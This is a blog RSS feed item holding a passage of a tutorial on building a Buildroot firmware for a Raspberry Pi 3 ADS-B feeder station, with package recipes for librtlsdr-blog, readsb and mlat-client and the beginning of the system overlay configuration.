<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Ronan's Blog</title><link>https://www.rfontenay.fr/</link><description>Recent content on Ronan's Blog</description><generator>Hugo -- gohugo.io</generator><language>en-en</language><lastBuildDate>Sun, 03 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://www.rfontenay.fr/index.xml" rel="self" type="application/rss+xml"/><item><title>Building an Exhaustive ADS-B Feeder Station with Buildroot on Raspberry Pi 3</title><link>https://www.rfontenay.fr/posts/adsb-feeder-buildroot-raspberry-fr24/</link><pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/adsb-feeder-buildroot-raspberry-fr24/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/adsb-feeder-buildroot-raspberry-fr24/buildroot-adsb-feeder.png" alt="Featured image of post Building an Exhaustive ADS-B Feeder Station with Buildroot on Raspberry Pi 3" /&gt;&lt;p&gt;Following our work on maritime AIS, we are now targeting aviation. This guide explains how to build a professional-grade ADS-B station on a Raspberry Pi 3. We are using &lt;strong&gt;Buildroot&lt;/strong&gt; to create a custom Linux firmware that is ultra-lightweight, boots in seconds, and runs entirely in RAM (read-only) to prevent SD card corruption.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="1-project-architecture"&gt;1. Project Architecture
&lt;/h3&gt;&lt;p&gt;We use the &lt;code&gt;BR2_EXTERNAL&lt;/code&gt; mechanism to keep our custom logic clean and portable. First, clone the stable Buildroot source:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://gitlab.com/buildroot.org/buildroot.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd buildroot
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git checkout 2025.02.13
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our project tree is organized as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── buildroot/ # Official sources (git clone)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── external-pi/ # Custom recipes layer
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── Config.in
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── external.desc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── external.mk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── board/ # &amp;lt;--- Boot configs (config.txt, cmdline.txt)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ └── package/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── librtlsdr-blog/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ├── mlat-client/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ └── readsb/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└── overlay/ # System files (Init, Network, Configs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── etc/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── fr24feed.ini
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── init.d/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ │ ├── S50readsb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ │ ├── S60fr24
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ │ ├── S99mlat-client-adsbfi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ │ └── S99mlat-client-adsbx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── lighttpd/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── modprobe.d/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ ├── network/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; │ └── wpa_supplicant.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ├── usr/bin/fr24feed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; └── var/www/tar1090
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="2-the-external-layer-external-pi"&gt;2. The External Layer (external-pi)
&lt;/h3&gt;&lt;p&gt;These files declare the project to Buildroot:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;external-pi/external.desc&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;name: PI_FEEDER_EXT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;desc: Station ADS-B pour Pi3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;external-pi/external.mk&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-makefile" data-lang="makefile"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;include&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;sort &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;wildcard &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;BR2_EXTERNAL_PI_FEEDER_EXT_PATH&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;/package/*/*.mk&lt;span style="color:#66d9ef"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;external-pi/Config.in&lt;/strong&gt; (Menu integration):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source &amp;#34;$BR2_EXTERNAL_PI_FEEDER_EXT_PATH/package/librtlsdr-blog/Config.in&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source &amp;#34;$BR2_EXTERNAL_PI_FEEDER_EXT_PATH/package/readsb/Config.in&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source &amp;#34;$BR2_EXTERNAL_PI_FEEDER_EXT_PATH/package/mlat-client/Config.in&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="3-software-recipes--compilation"&gt;3. Software Recipes &amp;amp; Compilation
&lt;/h3&gt;&lt;h4 id="a-optimized-drivers-librtlsdr-blog"&gt;A. Optimized Drivers: librtlsdr-blog
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;external-pi/package/librtlsdr-blog/Config.in&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;config BR2_PACKAGE_LIBRTLSDR_BLOG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	bool &amp;#34;librtlsdr-blog&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	select BR2_PACKAGE_LIBUSB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	help
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	 Version optimisée pour RTL-SDR Blog V4 avec support Bias-T.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	 https://github.com/rtlsdrblog/rtl-sdr-blog
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;external-pi/package/librtlsdr-blog/librtlsdr-blog.mk&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-makefile" data-lang="makefile"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LIBRTLSDR_BLOG_VERSION &lt;span style="color:#f92672"&gt;=&lt;/span&gt; master
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LIBRTLSDR_BLOG_SITE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;call github,rtlsdrblog,rtl-sdr-blog,&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;LIBRTLSDR_BLOG_VERSION&lt;span style="color:#66d9ef"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LIBRTLSDR_BLOG_LICENSE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; GPL-2.0+
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LIBRTLSDR_BLOG_INSTALL_STAGING &lt;span style="color:#f92672"&gt;=&lt;/span&gt; YES
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LIBRTLSDR_BLOG_DEPENDENCIES &lt;span style="color:#f92672"&gt;=&lt;/span&gt; libusb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On active explicitement le détachement du driver kernel (DVB-T) 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# et l&amp;#39;installation des outils (rtl_sdr, rtl_biast, etc.)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LIBRTLSDR_BLOG_CONF_OPTS &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	-DINSTALL_UDEV_RULES&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ON &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	-DDETACH_KERNEL_DRIVER&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ON
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;eval &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;cmake-package&lt;span style="color:#66d9ef"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="b-the-decoder-readsb"&gt;B. The Decoder: readsb
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;external-pi/package/readsb/Config.in&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;config BR2_PACKAGE_READSB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	bool &amp;#34;readsb&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	select BR2_PACKAGE_LIBRTLSDR_BLOG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	select BR2_PACKAGE_NCURSES
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	select BR2_PACKAGE_ZLIB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	select BR2_PACKAGE_ZSTD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	help
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	 Readsb est un décodeur ADS-B haute performance.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;external-pi/package/readsb/readsb.mk&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-makefile" data-lang="makefile"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;READSB_VERSION &lt;span style="color:#f92672"&gt;=&lt;/span&gt; master
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;READSB_SITE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;call github,wiedehopf,readsb,&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;READSB_VERSION&lt;span style="color:#66d9ef"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;READSB_DEPENDENCIES &lt;span style="color:#f92672"&gt;=&lt;/span&gt; librtlsdr-blog ncurses zlib zstd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;READSB_LICENSE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; GPL-3.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On utilise le hook SED pour les versions
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;define&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;READSB_FIX_VERSION_MACROS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#960050;background-color:#1e0010"&gt;sed&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;-i&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;s/READSB_SHORT_VERSION/&amp;#34;2025&amp;#34;/g&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;@D&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/json_out.c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#960050;background-color:#1e0010"&gt;sed&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;-i&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;s/READSB_SHORT_COMMIT/&amp;#34;v4&amp;#34;/g&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;@D&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/json_out.c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;endef&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;READSB_POST_PATCH_HOOKS &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; READSB_FIX_VERSION_MACROS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# On passe RTLSDR=yes ET on force le flag de compilation manuellement dans CFLAGS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;READSB_MAKE_OPTS &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	RTLSDR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;yes &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	CFLAGS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;TARGET_CFLAGS&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt; -D_GNU_SOURCE -D_DEFAULT_SOURCE -DENABLE_RTLSDR&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;define&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;READSB_BUILD_CMDS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;TARGET_MAKE_ENV&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;MAKE&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;TARGET_CONFIGURE_OPTS&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;-C&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;@D&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;READSB_MAKE_OPTS&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;endef&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;define&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;READSB_INSTALL_TARGET_CMDS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;INSTALL&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;-D&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;-m&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;0755&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;@D&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/readsb&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;TARGET_DIR&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/usr/bin/readsb&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;INSTALL&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;-D&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;-m&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;0755&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;@D&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/viewadsb&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;TARGET_DIR&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/usr/bin/viewadsb&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;endef&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;eval &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;generic-package&lt;span style="color:#66d9ef"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="c-mlat-client"&gt;C. MLAT Client
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;external-pi/package/mlat-client/Config.in&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;config BR2_PACKAGE_MLAT_CLIENT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	bool &amp;#34;mlat-client&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	depends on BR2_PACKAGE_PYTHON3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	select BR2_PACKAGE_PYTHON_PYASYNCORE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	select BR2_PACKAGE_PYTHON_PYASYNCHAT²
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	select BR2_PACKAGE_PYTHON3_ZLIB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	help
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	 Mode S Multilateration client for ADS-B feeders.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	 https://github.com/mutability/mlat-client
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;comment &amp;#34;mlat-client needs python3&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	depends on !BR2_PACKAGE_PYTHON3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;external-pi/package/mlat-client/mlat-client.mk&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-makefile" data-lang="makefile"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MLAT_CLIENT_VERSION &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 0.2.13
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MLAT_CLIENT_SITE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;call github,mutability,mlat-client,v&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;MLAT_CLIENT_VERSION&lt;span style="color:#66d9ef"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MLAT_CLIENT_LICENSE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; GPL-3.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MLAT_CLIENT_LICENSE_FILES &lt;span style="color:#f92672"&gt;=&lt;/span&gt; COPYING
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MLAT_CLIENT_SETUP_TYPE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; setuptools
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;eval &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;python-package&lt;span style="color:#66d9ef"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="4-system-configuration-overlay"&gt;4. System Configuration (Overlay)
&lt;/h3&gt;&lt;p&gt;The overlay directory contains custom configuration files and pre-compiled binaries that are merged into the final root filesystem.&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Some binaries like &lt;code&gt;fr24feed&lt;/code&gt; and the &lt;code&gt;tar1090&lt;/code&gt; web interface files should be placed manually in the &lt;code&gt;overlay/&lt;/code&gt; directory before building if they are not managed by a Buildroot recipe.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="network--wifi"&gt;Network &amp;amp; WiFi
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;overlay/etc/network/interfaces&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;auto lo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;iface lo inet loopback
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;auto eth0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;iface eth0 inet dhcp
